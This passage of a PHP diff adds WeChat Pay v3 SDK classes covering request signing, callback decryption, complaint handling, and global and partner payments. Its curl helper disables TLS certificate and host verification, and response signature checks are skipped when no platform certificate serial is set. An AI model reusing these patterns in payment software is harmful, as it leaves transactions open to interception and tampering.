* 请求接口并解析返回数据
* @param string $method 请求方式 GET POST PUT
* @param string $path 请求路径
* @param array $params 请求参数
* @param bool $cert 是否包含平台公钥序列号
* @return mixed
* @throws Exception
*/
public function execute(string $method, string $path, array $params = [], bool $cert = false)
{
$url = self::$GATEWAY . $path;
$body = '';
if ($method == 'GET' || $method == 'DELETE') {
if (count($params) > 0) {
$url .= '?' . http_build_query($params);
}
} elseif(!empty($params)) {
$body = json_encode($params);
}
$authorization = $this->getAuthorization($method, $url, $body);
$header[] = 'Accept: application/json';
$header[] = 'Authorization: WECHATPAY2-SHA256-RSA2048 ' . $authorization;
if ($cert) {
$header[] = 'Wechatpay-Serial: ' . $this->platformCertificateSerial;
}
if ($method == 'POST' || $method == 'PUT') {
$header[] = 'Content-Type: application/json';
}
[$httpCode, $header, $response] = $this->curl($method, $url, $header, $body);
$result = json_decode($response, true);
if ($httpCode >= 200 && $httpCode <= 299) {
if ($path != '/v3/certificates' && $path != '/v3/global/certificates' && !$this->checkResponseSign($response, $header)) {
throw new Exception("微信支付返回数据验签失败");
}
return $result;
}
throw new WeChatPayException($result, $httpCode);
}
/**
* 下载账单/图片
* @param string $download_url 下载地址
* @return mixed
* @throws Exception
*/
public function download(string $download_url)
{
$method = 'GET';
$authorization = $this->getAuthorization($method, $download_url);
$header[] = 'Authorization: WECHATPAY2-SHA256-RSA2048 ' . $authorization;
[$httpCode, $header, $response] = $this->curl($method, $download_url, $header);
if ($httpCode >= 200 && $httpCode <= 299) {
return $response;
} else {
$result = json_decode($response, true);
throw new WeChatPayException($result, $httpCode);
}
}
/**
* 上传文件
* @param string $path 请求路径
* @param string $file_path 本地文件路径
* @param string $file_name 文件名
* @return mixed
* @throws Exception
*/
public function upload(string $path, string $file_path, string $file_name)
{
$url = self::$GATEWAY . $path;
if (!file_exists($file_path)) {
throw new Exception("文件不存在");
}
$meta = [
'filename' => $file_name,
'sha256' => hash_file("sha256", $file_path)
];
$meta_json = json_encode($meta);
$params = [
'file' => new \CURLFile($file_path, '', $file_name),
'meta' => $meta_json
];
$authorization = $this->getAuthorization('POST', $url, $meta_json);
$header[] = 'Accept: application/json';
$header[] = 'Authorization: WECHATPAY2-SHA256-RSA2048 ' . $authorization;
[$httpCode, $header, $response] = $this->curl('POST', $url, $header, $params);
$result = json_decode($response, true);
if ($httpCode >= 200 && $httpCode <= 299) {
if (!$this->checkResponseSign($response, $header)) {
throw new Exception("微信支付返回数据验签失败");
}
return $result;
}
throw new WeChatPayException($result, $httpCode);
}
/**
* 返回数据验签
* @param string $body 返回内容
* @param string $header 返回头部
* @return bool
* @throws Exception
*/
protected function checkResponseSign(string $body, string $header): bool
{
if (!$this->platformCertificateSerial) return true;
if (preg_match('/Wechatpay-Signature: (.*?)\r\n/', $header, $signature)) {
$signature = $signature[1];
}
if (preg_match('/Wechatpay-Nonce: (.*?)\r\n/', $header, $nonce)) {
$nonce = $nonce[1];
}
if (preg_match('/Wechatpay-Timestamp: (.*?)\r\n/', $header, $timestamp)) {
$timestamp = $timestamp[1];
}
if (preg_match('/Wechatpay-Serial: (.*?)\r\n/', $header, $serial)) {
$serial = $serial[1];
}
if (empty($signature)) return false;
if ($serial != $this->platformCertificateSerial) {
if (!$this->download_cert) {
$this->downloadCertificate();
}
if ($serial != $this->platformCertificateSerial) {
throw new Exception('平台证书序列号不匹配');
}
}
return $this->checkSign($timestamp, $nonce, $body, $signature);
}
/**
* 验证签名
* @param string $timestamp 应答时间戳
* @param string $nonce 应答随机串
* @param string $body 应答报文主体
* @param string $signature 应答签名
* @return bool
*/
protected function checkSign(string $timestamp, string $nonce, string $body, string $signature): bool
{
$message = $timestamp . "\n" . $nonce . "\n" . $body . "\n";
$result = openssl_verify($message, base64_decode($signature), $this->platformPublicKeyInstance, OPENSSL_ALGO_SHA256);
return $result === 1;
}
/**
* 生成签名
* @param array $arr - 待签名数组
* @return string
*/
protected function makeSign(array $arr): string
{
$message = implode("\n", array_merge($arr, ['']));
openssl_sign($message, $sign, $this->merchantPrivateKeyInstance, OPENSSL_ALGO_SHA256);
return base64_encode($sign);
}
/**
* 生成authorization
* @param string $method 请求方式 GET POST PUT
* @param string $url 请求URL
* @param string $body 请求内容 GET时留空
*/
protected function getAuthorization(string $method, string $url, string $body = ''): string
{
$url_values = parse_url($url);
$url = $url_values['path'] . (isset($url_values['query']) ? ('?' . $url_values['query']) : '');
$timestamp = (string)time();
$nonce = $this->getNonceStr();
$sign = $this->makeSign([$method, $url, $timestamp, $nonce, $body]);
return sprintf('mchid="%s",nonce_str="%s",timestamp="%d",serial_no="%s",signature="%s"', $this->mchId, $nonce, $timestamp, $this->merchantCertificateSerial, $sign);
}
/**
* 异步回调处理
* @return array 回调解密后的数据
* @throws Exception
*/
public function notify(): array
{
$inWechatpaySignature = $_SERVER['HTTP_WECHATPAY_SIGNATURE'];
$inWechatpayTimestamp = $_SERVER['HTTP_WECHATPAY_TIMESTAMP'];
$inWechatpaySerial = $_SERVER['HTTP_WECHATPAY_SERIAL'];
$inWechatpayNonce = $_SERVER['HTTP_WECHATPAY_NONCE'];
$inBody = file_get_contents('php://input');
if (empty($inBody)) {
throw new Exception('no data');
}
if ($this->platformCertificateSerial != $inWechatpaySerial) {
throw new Exception('平台证书序列号不匹配');
}
// 使用平台API证书验签
if (!$this->checkSign($inWechatpayTimestamp, $inWechatpayNonce, $inBody, $inWechatpaySignature)) {
throw new Exception('签名校验失败');
}
// 转换通知的JSON文本消息为PHP Array数组
$inBodyArray = (array)json_decode($inBody, true);
// 使用PHP7的数据解构语法,从Array中解构并赋值变量
['resource' => [
'ciphertext' => $ciphertext,
'nonce' => $nonce,
'associated_data' => $associated_data
]] = $inBodyArray;
// 加密文本消息解密
$inBodyResource = $this->decryptToString($ciphertext, $nonce, $associated_data);
// 把解密后的文本转换为PHP Array数组
// print_r($inBodyResourceArray);
return json_decode($inBodyResource, true);
}
/**
* 回复通知
* @param bool $isSuccess 是否成功
* @param string|null $msg 失败原因
*/
public function replyNotify(bool $isSuccess = true, ?string $msg = '')
{
$data = [];
if ($isSuccess) {
$data['code'] = 'SUCCESS';
} else {
@header("HTTP/1.1 499 Error");
$data['code'] = 'FAIL';
$data['message'] = $msg;
}
$json = json_encode($data, JSON_UNESCAPED_UNICODE);
echo $json;
}
/**
* 产生随机字符串,不长于32位
* @param int $length
* @return string 产生的随机字符串
*/
protected function getNonceStr(int $length = 32): string
{
$chars = "abcdefghijklmnopqrstuvwxyz0123456789";
$str = "";
for ($i = 0; $i < $length; $i++) {
$str .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $str;
}
/**
* 敏感信息RSA加密
* @param $str
* @return string|bool
*/
public function rsaEncrypt($str)
{
if (openssl_public_encrypt($str, $encrypted, $this->platformPublicKeyInstance, OPENSSL_PKCS1_OAEP_PADDING)) {
return base64_encode($encrypted);
}
return false;
}
/**
* 敏感信息RSA解密
* @param $str
* @return string|bool
*/
public function rsaDecrypt($str)
{
if (openssl_private_decrypt(base64_decode($str), $decrypted, $this->merchantPrivateKeyInstance, OPENSSL_PKCS1_OAEP_PADDING)) {
return $decrypted;
}
return false;
}
/**
* 解密AEAD AES 256gcm密文
* @param string $ciphertext AES GCM cipher text
* @param string $nonceStr AES GCM nonce
* @param string $associatedData AES GCM additional authentication data
*
* @return string|bool Decrypted string on success or FALSE on failure
* @throws Exception
*/
protected function decryptToString(string $ciphertext, string $nonceStr, string $associatedData)
{
$ciphertext = base64_decode($ciphertext);
if (strlen($ciphertext) <= 16) {
return false;
}
if (function_exists('sodium_crypto_aead_aes256gcm_is_available') && sodium_crypto_aead_aes256gcm_is_available()) {
return sodium_crypto_aead_aes256gcm_decrypt($ciphertext, $associatedData, $nonceStr, $this->apiKey);
}
if (PHP_VERSION_ID >= 70100 && in_array('aes-256-gcm', openssl_get_cipher_methods())) {
$ctext = substr($ciphertext, 0, -16);
$authTag = substr($ciphertext, -16);
return openssl_decrypt($ctext, 'aes-256-gcm', $this->apiKey, OPENSSL_RAW_DATA, $nonceStr, $authTag, $associatedData);
}
throw new Exception('AEAD_AES_256_GCM需要PHP 7.1以上或者安装libsodium-php');
}
/**
* 发起curl请求
* @param string $method 请求方式 GET POST PUT
* @param string $url 请求URL
* @param array $header 请求头部
* @param null $body POST内容
* @param int $timeout 超时时间
* @return array [http状态码,响应头部,响应数据]
* @throws Exception
*/
protected function curl(string $method, string $url, array $header, $body = null, int $timeout = 10): array
{
$ch = curl_init();
$curlVersion = curl_version();
$ua = "wechatpay-php/" . self::$VERSION . " curl/" . $curlVersion['version'] . " (" . PHP_OS . "/" . php_uname('r') . ") PHP/" . PHP_VERSION;
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
if ($method == 'POST') {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
} elseif ($method == 'PUT') {
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
} elseif ($method == 'DELETE') {
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE');
}
$data = curl_exec($ch);
if (curl_errno($ch) > 0) {
$errmsg = curl_error($ch);
curl_close($ch);
throw new Exception($errmsg, 0);
}
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$header = substr($data, 0, $headerSize);
$body = substr($data, $headerSize);
curl_close($ch);
return [$httpCode, $header, $body];
}
}
@@ -0,0 +1,190 @@
<?php
namespace WeChatPay\V3;
use Exception;
/**
* 消费者投诉服务类
* @see https://pay.weixin.qq.com/wiki/doc/apiv3/open/pay/chapter6_2_5.shtml
*/
class ComplainService extends BaseService
{
public function __construct(array $config)
{
parent::__construct($config);
}
/**
* 查询投诉单列表
* @param string $begin_date 开始日期,格式为yyyy-MM-DD
* @param string $end_date 结束日期,格式为yyyy-MM-DD
* @param int $page_no 分页号,从1开始
* @param int $page_size 分页大小1-50,默认为10
* @return mixed {"limit":10,"offset":0,"total_count":100,"data":[]}
* @throws Exception
*/
public function batchQuery(string $begin_date, string $end_date, int $page_no = 1, int $page_size = 10)
{
$path = '/v3/merchant-service/complaints-v2';
$offset = $page_size * ($page_no - 1);
$params = [
'limit' => $page_size,
'offset' => $offset,
'begin_date' => $begin_date,
'end_date' => $end_date
];
return $this->execute('GET', $path, $params);
}
/**
* 查询投诉单详情
* @param string $complaint_id 投诉单号
* @return mixed
* @throws Exception
*/
public function query(string $complaint_id)
{
$path = '/v3/merchant-service/complaints-v2/'.$complaint_id;
return $this->execute('GET', $path);
}
/**
* 查询投诉协商历史
* @param string $complaint_id 投诉单号
* @return mixed
* @throws Exception
*/
public function queryHistorys(string $complaint_id)
{
$path = '/v3/merchant-service/complaints-v2/'.$complaint_id.'/negotiation-historys';
return $this->execute('GET', $path);
}
/**
* 创建投诉通知回调地址
* @param string $url 通知地址
* @return mixed
* @throws Exception
*/
public function createNotifications(string $url)
{
$path = '/v3/merchant-service/complaint-notifications';
$params = [
'url' => $url
];
return $this->execute('POST', $path, $params);
}
/**
* 查询投诉通知回调地址
* @return mixed {"mchid":"商户号","url":"通知地址"}
* @throws Exception
*/
public function queryNotifications()
{
$path = '/v3/merchant-service/complaint-notifications';
return $this->execute('GET', $path);
}
/**
* 更新投诉通知回调地址
* @param string $url 通知地址
* @return mixed
* @throws Exception
*/
public function updateNotifications(string $url)
{
$path = '/v3/merchant-service/complaint-notifications';
$params = [
'url' => $url
];
return $this->execute('PUT', $path, $params);
}
/**
* 删除投诉通知回调地址
* @return void
* @throws Exception
*/
public function deleteNotifications()
{
$path = '/v3/merchant-service/complaint-notifications';
$this->execute('DELETE', $path);
}
/**
* 回复用户
* @param string $complaint_id 投诉单号
* @param string $complainted_mchid 被诉商户号
* @param string $response_content 回复内容
* @param array $response_images 回复图片列表
* @return void
* @throws Exception
*/
public function response(string $complaint_id, string $complainted_mchid, string $response_content, array $response_images)
{
$path = '/v3/merchant-service/complaints-v2/'.$complaint_id.'/response';
$params = [
'complainted_mchid' => $complainted_mchid,
'response_content' => $response_content,
'response_images' => $response_images,
];
$this->execute('POST', $path, $params);
}
/**
* 反馈处理完成
* @param string $complaint_id 投诉单号
* @param string $complainted_mchid 被诉商户号
* @return void
* @throws Exception
*/
public function complete(string $complaint_id, string $complainted_mchid)
{
$path = '/v3/merchant-service/complaints-v2/'.$complaint_id.'/complete';
$params = [
'complainted_mchid' => $complainted_mchid,
];
$this->execute('POST', $path, $params);
}
/**
* 更新退款审批结果
* @param string $complaint_id 投诉单号
* @param array $params 请求参数
* @return void
* @throws Exception
*/
public function updateRefundProgress(string $complaint_id, array $params)
{
$path = '/v3/merchant-service/complaints-v2/'.$complaint_id.'/update-refund-progress';
$this->execute('POST', $path, $params);
}
/**
* 上传反馈图片
* @param string $file_path 文件路径
* @param string $file_name 文件名
* @return string
* @throws Exception
*/
public function uploadImage(string $file_path, string $file_name): string
{
$path = '/v3/merchant-service/images/upload';
$result = $this->upload($path, $file_path, $file_name);
return $result['media_id'];
}
/**
* 下载图片
* @param string $media_id 媒体文件标识ID
* @return string
* @throws Exception
*/
public function getImage(string $media_id): string
{
$url = self::$GATEWAY.'/v3/merchant-service/images/'.urlencode($media_id);
return $this->download($url);
}
}
@@ -0,0 +1,373 @@
<?php
namespace WeChatPay\V3;
use Exception;
/**
* 全球版支付服务类
* @see https://pay.weixin.qq.com/wiki/doc/api_external/index_ch.shtml
*/
class GlobalPaymentService extends BaseService
{
public function __construct(array $config)
{
parent::__construct($config);
}
/**
* 付款码支付
* @param array $params 下单参数
* @return mixed
* @throws Exception
*/
public function microPay(array $params){
$path = '/v3/global/micropay/transactions/pay';
if (!empty($this->subMchId)) {
$publicParams = [
'sp_appid' => $this->appId,
'sp_mchid' => $this->mchId,
'sub_mchid' => $this->subMchId,
];
if (!empty($this->subAppId)) {
$publicParams['sub_appid'] = $this->subAppId;
}
} else {
$publicParams = [
'appid' => $this->appId,
'mchid' => $this->mchId,
];
}
$params = array_merge($publicParams, $params);
$params['trade_type'] = 'MICROPAY';
return $this->execute('POST', $path, $params);
}
/**
* NATIVE支付
* @param array $params 下单参数
* @return mixed {"code_url":"二维码链接"}
* @throws Exception
*/
public function nativePay(array $params){
$path = '/v3/global/transactions/native';
if (!empty($this->subMchId)) {
$publicParams = [
'sp_appid' => $this->appId,
'sp_mchid' => $this->mchId,
'sub_mchid' => $this->subMchId,
];
if (!empty($this->subAppId)) {
$publicParams['sub_appid'] = $this->subAppId;
}
} else {
$publicParams = [
'appid' => $this->appId,
'mchid' => $this->mchId,
];
}
$params = array_merge($publicParams, $params);
$params['trade_type'] = 'NATIVE';
return $this->execute('POST', $path, $params);
}
/**
* JSAPI支付
* @param array $params 下单参数
* @return array Jsapi支付json数据
* @throws Exception
*/
public function jsapiPay(array $params): array
{
$path = '/v3/global/transactions/jsapi';
if (!empty($this->subMchId)) {
$publicParams = [
'sp_appid' => $this->appId,
'sp_mchid' => $this->mchId,
'sub_mchid' => $this->subMchId,
];
if (!empty($this->subAppId)) {
$publicParams['sub_appid'] = $this->subAppId;
}
} else {
$publicParams = [
'appid' => $this->appId,
'mchid' => $this->mchId,
];
}
$params = array_merge($publicParams, $params);
$params['trade_type'] = 'JSAPI';
$result = $this->execute('POST', $path, $params);
return $this->getJsApiParameters($result['prepay_id']);
}
/**
* 获取JSAPI支付的参数
* @param string $prepay_id 预支付交易会话标识
* @return array json数据
*/
private function getJsApiParameters(string $prepay_id): array
{
$params = [
'appId' => $this->appId,
'timeStamp' => time().'',
'nonceStr' => $this->getNonceStr(),
'package' => 'prepay_id=' . $prepay_id,
];
$params['paySign'] = $this->makeSign([$params['appId'], $params['timeStamp'], $params['nonceStr'], $params['package']]);
$params['signType'] = 'RSA';
return $params;
}
/**
* H5支付
* @param array $params 下单参数
* @return mixed {"h5_url":"支付跳转链接"}
* @throws Exception
*/
public function h5Pay(array $params){
$path = '/v3/global/transactions/mweb';
if (!empty($this->subMchId)) {
$publicParams = [
'sp_appid' => $this->appId,
'sp_mchid' => $this->mchId,
'sub_mchid' => $this->subMchId,
];
if (!empty($this->subAppId)) {
$publicParams['sub_appid'] = $this->subAppId;
}
} else {
$publicParams = [
'appid' => $this->appId,
'mchid' => $this->mchId,
];
}
$params = array_merge($publicParams, $params);
$params['trade_type'] = 'MWEB';
return $this->execute('POST', $path, $params);
}
/**
* APP支付
* @param array $params 下单参数
* @return array APP支付json数据
* @throws Exception
*/
public function appPay(array $params): array
{
$path = '/v3/global/transactions/app';
if (!empty($this->subMchId)) {
$publicParams = [
'sp_appid' => $this->appId,
'sp_mchid' => $this->mchId,
'sub_mchid' => $this->subMchId,
];
if (!empty($this->subAppId)) {
$publicParams['sub_appid'] = $this->subAppId;
}
} else {
$publicParams = [
'appid' => $this->appId,
'mchid' => $this->mchId,
];
}
$params = array_merge($publicParams, $params);
$params['trade_type'] = 'APP';
$result = $this->execute('POST', $path, $params);
return $this->getAppParameters($result['prepay_id']);
}
/**
* 获取APP支付的参数
* @param string $prepay_id 预支付交易会话标识
* @return array
*/
private function getAppParameters(string $prepay_id): array
{
$params = [
'appid' => $this->appId,
'partnerid' => $this->mchId,
'prepayid' => $prepay_id,
'package' => 'Sign=WXPay',
'noncestr' => $this->getNonceStr(),
'timestamp' => time().'',
];
$params['sign'] = $this->makeSign([$params['appid'], $params['timestamp'], $params['noncestr'], $params['prepayid']]);
return $params;
}
/**
* 查询订单,微信订单号、商户订单号至少填一个
* @param string|null $transaction_id 微信订单号
* @param string|null $out_trade_no 商户订单号
* @return mixed
* @throws Exception
*/
public function orderQuery(string $transaction_id = null, string $out_trade_no = null){
if(!empty($transaction_id)){
$path = '/v3/global/transactions/id/'.$transaction_id;
}elseif(!empty($out_trade_no)){
$path = '/v3/global/transactions/out-trade-no/'.$out_trade_no;
}else{
throw new Exception('微信支付订单号和商户订单号不能同时为空');
}
if (!empty($this->subMchId)) {
$params = [
'sp_mchid' => $this->mchId,
'sub_mchid' => $this->subMchId,
];
} else {
$params = [
'mchid' => $this->mchId,
];
}
return $this->execute('GET', $path, $params);
}
/**
* 判断订单是否已完成
* @param string $transaction_id 微信订单号
* @return bool
*/
public function orderQueryResult(string $transaction_id): bool
{
try {
$data = $this->orderQuery($transaction_id);
return $data['trade_state'] == 'SUCCESS' || $data['trade_state'] == 'REFUND';
} catch (Exception $e) {
return false;
}
}
/**
* 关闭订单
* @param string $out_trade_no 商户订单号
* @return mixed
* @throws Exception
*/
public function closeOrder(string $out_trade_no){
$path = '/v3/global/transactions/out-trade-no/'.$out_trade_no.'/close';
if (!empty($this->subMchId)) {
$params = [
'sp_mchid' => $this->mchId,
'sub_mchid' => $this->subMchId,
];
} else {
$params = [
'mchid' => $this->mchId,
];
}
return $this->execute('POST', $path, $params);
}
/**
* 撤销订单
* @param string $out_trade_no 商户订单号
* @return mixed
* @throws Exception
*/
public function reverseOrder($out_trade_no){
$path = '/v3/global/micropay/transactions/out-trade-no/'.$out_trade_no.'/reverse';
if (!empty($this->subMchId)) {
$params = [
'sp_mchid' => $this->mchId,
'sub_mchid' => $this->subMchId,
];
} else {
$params = [
'mchid' => $this->mchId,
];
}
return $this->execute('POST', $path, $params);
}
/**
* 申请退款
* @param array $params
* @return mixed
* @throws Exception
*/
public function refund($params){
$path = '/v3/global/refunds';
if (!empty($this->subMchId)) {
$publicParams = [
'sp_appid' => $this->appId,
'sp_mchid' => $this->mchId,
'sub_mchid' => $this->subMchId,
];
if (!empty($this->subAppId)) {
$publicParams['sub_appid'] = $this->subAppId;
}
} else {
$publicParams = [
'appid' => $this->appId,
'mchid' => $this->mchId,
];
}
$params = array_merge($publicParams, $params);
return $this->execute('POST', $path, $params);
}
/**
* 查询退款
* @param string $out_refund_no
* @return mixed
* @throws Exception
*/
public function refundQuery(string $out_refund_no){
$path = '/v3/global/refunds/out-refund-no/'.$out_refund_no;
if (!empty($this->subMchId)) {
$params = [
'sp_mchid' => $this->mchId,
'sub_mchid' => $this->subMchId,
];
} else {
$params = [
'mchid' => $this->mchId,
];
}
return $this->execute('GET', $path, $params);
}
/**
* 下载对账单
* @param string $date
* @return mixed
* @throws Exception
*/
public function tradeBill(string $date){
$path = '/v3/global/statements';
if (!empty($this->subMchId)) {
$params = [
'sp_mchid' => $this->mchId,
'sub_mchid' => $this->subMchId,
];
} else {
$params = [
'mchid' => $this->mchId,
];
}
$params['date'] = $date;
return $this->execute('GET', $path, $params);
}
/**
* 支付通知处理
* @return array 支付成功通知参数
* @throws Exception
*/
public function notify(): array
{
$data = parent::notify();
if (!$data || !isset($data['id'])) {
throw new Exception('缺少订单号参数');
}
if (!$this->orderQueryResult($data['id'])) {
throw new Exception('订单未完成');
}
return $data;
}
}
@@ -0,0 +1,397 @@
<?php
namespace WeChatPay\V3;
use Exception;
/**
* 服务商基础支付服务类
* @see https://pay.weixin.qq.com/wiki/doc/apiv3_partner/index.shtml
*/
class PartnerPaymentService extends BaseService
{
public function __construct(array $config)
{
if(strpos($config['sub_mchid'], ',')){
$sub_mchids = explode(',', $config['sub_mchid']);
$config['sub_mchid'] = $sub_mchids[array_rand($sub_mchids)];
}
parent::__construct($config);
}
/**
* NATIVE支付
* @param array $params 下单参数
* @return mixed {"code_url":"二维码链接"}
* @throws Exception
*/
public function nativePay(array $params){
$path = '/v3/pay/partner/transactions/native';
$publicParams = [
'sp_appid' => $this->appId,
'sp_mchid' => $this->mchId,
'sub_appid' => $this->subAppId,
'sub_mchid' => $this->subMchId,
];
$params = array_merge($publicParams, $params);
return $this->execute('POST', $path, $params);
}
/**
* JSAPI支付
* @param array $params 下单参数
* @return array Jsapi支付json数据
* @throws Exception
*/
public function jsapiPay(array $params){
$path = '/v3/pay/partner/transactions/jsapi';
$publicParams = [
'sp_appid' => $this->appId,
'sp_mchid' => $this->mchId,
'sub_appid' => $this->subAppId,
'sub_mchid' => $this->subMchId,
];
$params = array_merge($publicParams, $params);
$result = $this->execute('POST', $path, $params);
return $this->getJsApiParameters($result['prepay_id']);
}
/**
* 获取JSAPI支付的参数
* @param string $prepay_id 预支付交易会话标识
* @return array json数据
*/
private function getJsApiParameters(string $prepay_id): array
{
$params = [
'appId' => $this->appId,
'timeStamp' => time().'',
'nonceStr' => $this->getNonceStr(),
'package' => 'prepay_id=' . $prepay_id,
];
$params['paySign'] = $this->makeSign([$params['appId'], $params['timeStamp'], $params['nonceStr'], $params['package']]);
$params['signType'] = 'RSA';
return $params;
}
/**
* H5支付
* @param array $params 下单参数
* @return mixed {"h5_url":"支付跳转链接"}
* @throws Exception
*/
public function h5Pay(array $params){
$path = '/v3/pay/partner/transactions/h5';
$publicParams = [
'sp_appid' => $this->appId,
'sp_mchid' => $this->mchId,
'sub_appid' => $this->subAppId,
'sub_mchid' => $this->subMchId,
];
$params = array_merge($publicParams, $params);
return $this->execute('POST', $path, $params);
}
/**
* APP支付
* @param array $params 下单参数
* @return array {"prepay_id":"预支付交易会话标识"}
* @throws Exception
*/
public function appPay(array $params){
$path = '/v3/pay/partner/transactions/app';
$publicParams = [
'sp_appid' => $this->appId,
'sp_mchid' => $this->mchId,
'sub_appid' => $this->subAppId,
'sub_mchid' => $this->subMchId,
];
$params = array_merge($publicParams, $params);
$result = $this->execute('POST', $path, $params);
return $this->getAppParameters($result['prepay_id']);
}
/**
* 获取APP支付的参数
* @param string $prepay_id 预支付交易会话标识
* @return array
*/
private function getAppParameters(string $prepay_id): array
{
$params = [
'appid' => $this->appId,
'partnerid' => $this->mchId,
'prepayid' => $prepay_id,
'package' => 'Sign=WXPay',
'noncestr' => $this->getNonceStr(),
'timestamp' => time().'',
];
$params['sign'] = $this->makeSign([$params['appid'], $params['timestamp'], $params['noncestr'], $params['prepayid']]);
return $params;
}
/**
* 查询订单,微信订单号、商户订单号至少填一个
* @param string|null $transaction_id 微信订单号
* @param string|null $out_trade_no 商户订单号
* @return mixed
* @throws Exception
*/
public function orderQuery(string $transaction_id = null, string $out_trade_no = null){
if(!empty($transaction_id)){
$path = '/v3/pay/partner/transactions/id/'.$transaction_id;
}elseif(!empty($out_trade_no)){
$path = '/v3/pay/partner/transactions/out-trade-no/'.$out_trade_no;
}else{
throw new Exception('微信支付订单号和商户订单号不能同时为空');
}
$params = [
'sp_mchid' => $this->mchId,
'sub_mchid' => $this->subMchId,
];
return $this->execute('GET', $path, $params);
}
/**
* 判断订单是否已完成
* @param string $transaction_id 微信订单号
* @return bool
*/
public function orderQueryResult(string $transaction_id): bool
{
try {
$data = $this->orderQuery($transaction_id);
return $data['trade_state'] == 'SUCCESS' || $data['trade_state'] == 'REFUND';
} catch (Exception $e) {
return false;
}
}
/**
* 关闭订单
* @param string $out_trade_no 商户订单号
* @return mixed
* @throws Exception
*/
public function closeOrder(string $out_trade_no){
$path = '/v3/pay/partner/transactions/out-trade-no/'.$out_trade_no.'/close';
$params = [
'sp_mchid' => $this->mchId,
'sub_mchid' => $this->subMchId,
];
return $this->execute('POST', $path, $params);
}
/**
* 申请退款
* @param array $params
* @return mixed
* @throws Exception
*/
public function refund(array $params){
$path = '/v3/refund/domestic/refunds';
$publicParams = [
'sub_mchid' => $this->subMchId,
];
$params = array_merge($publicParams, $params);
return $this->execute('POST', $path, $params);
}
/**
* 查询退款
* @param string $out_refund_no
* @return mixed
* @throws Exception
*/
public function refundQuery(string $out_refund_no){
$path = '/v3/refund/domestic/refunds/'.$out_refund_no;
$params = [
'sub_mchid' => $this->subMchId,
];
return $this->execute('GET', $path, $params);
}
/**
* 申请交易账单
* @param array $params
* @return mixed
* @throws Exception
*/
public function tradeBill(array $params){
$path = '/v3/bill/tradebill';
$publicParams = [
'sub_mchid' => $this->subMchId,
];
$params = array_merge($publicParams, $params);
return $this->execute('GET', $path, $params);
}
/**
* 申请资金账单
* @param array $params
* @return mixed
* @throws Exception
*/
public function fundflowBill(array $params){
$path = '/v3/bill/fundflowbill';
return $this->execute('GET', $path, $params);
}
/**
* 申请单个子商户资金账单
* @param array $params
* @return mixed
* @throws Exception
*/
public function subMerchantFundflowBill(array $params){
$path = '/v3/bill/sub-merchant-fundflowbill';
$publicParams = [
'sub_mchid' => $this->subMchId,
];
$params = array_merge($publicParams, $params);
return $this->execute('GET', $path, $params);
}
/**
* 支付通知处理
* @return array 支付成功通知参数
* @throws Exception
*/
public function notify(): array
{
$data = parent::notify();
if (!$data || !isset($data['transaction_id']) && !isset($data['combine_out_trade_no'])) {
throw new Exception('缺少订单号参数');
}
if (!isset($data['combine_out_trade_no']) && !$this->orderQueryResult($data['transaction_id'])) {
throw new Exception('订单未完成');
}
return $data;
}
/**
* 合单Native支付
* @param array $params 下单参数
* @return mixed {"code_url":"二维码链接"}
* @throws Exception
*/
public function combineNativePay(array $params){
$path = '/v3/combine-transactions/native';
$publicParams = [
'combine_appid' => $this->appId,
'combine_mchid' => $this->mchId,
];
foreach($params['sub_orders'] as &$order){
$order['mchid'] = $this->mchId;
if(!isset($order['sub_mchid'])) $order['sub_mchid'] = $this->subMchId;
if(!isset($order['sub_appid'])) $order['sub_appid'] = $this->subAppId;
}
$params = array_merge($publicParams, $params);
return $this->execute('POST', $path, $params);
}
/**
* 合单JSAPI支付
* @param array $params 下单参数
* @return array Jsapi支付json数据
* @throws Exception
*/
public function combineJsapiPay(array $params): array
{
$path = '/v3/combine-transactions/jsapi';
$publicParams = [
'combine_appid' => $this->appId,
'combine_mchid' => $this->mchId,
];
foreach($params['sub_orders'] as &$order){
$order['mchid'] = $this->mchId;
if(!isset($order['sub_mchid'])) $order['sub_mchid'] = $this->subMchId;
if(!isset($order['sub_appid'])) $order['sub_appid'] = $this->subAppId;
}
$params = array_merge($publicParams, $params);
$result = $this->execute('POST', $path, $params);
return $this->getJsApiParameters($result['prepay_id']);
}
/**
* 合单H5支付
* @param array $params 下单参数
* @return mixed {"h5_url":"支付跳转链接"}
* @throws Exception
*/
public function combineH5Pay(array $params){
$path = '/v3/combine-transactions/h5';
$publicParams = [
'combine_appid' => $this->appId,
'combine_mchid' => $this->mchId,
];
foreach($params['sub_orders'] as &$order){
$order['mchid'] = $this->mchId;
if(!isset($order['sub_mchid'])) $order['sub_mchid'] = $this->subMchId;
if(!isset($order['sub_appid'])) $order['sub_appid'] = $this->subAppId;
}
$params = array_merge($publicParams, $params);
return $this->execute('POST', $path, $params);
}
/**
* 合单APP支付
* @param array $params 下单参数
* @return mixed {"prepay_id":"预支付交易会话标识"}
* @throws Exception
*/
public function combineAppPay(array $params){
$path = '/v3/combine-transactions/app';
$publicParams = [
'combine_appid' => $this->appId,
'combine_mchid' => $this->mchId,
];
foreach($params['sub_orders'] as &$order){
$order['mchid'] = $this->mchId;
if(!isset($order['sub_mchid'])) $order['sub_mchid'] = $this->subMchId;
if(!isset($order['sub_appid'])) $order['sub_appid'] = $this->subAppId;
}
$params = array_merge($publicParams, $params);
return $this->execute('POST', $path, $params);
}
/**
* 合单查询订单
* @param string $combine_out_trade_no 合单商户订单号
* @return mixed
* @throws Exception
*/
public function combineQueryOrder(string $combine_out_trade_no){
$path = '/v3/combine-transactions/out-trade-no/'.$combine_out_trade_no;
return $this->execute('GET', $path, []);
}
/**
* 合单关闭订单
* @param string $combine_out_trade_no 合单商户订单号
* @param array $out_trade_no_list 子单订单号列表
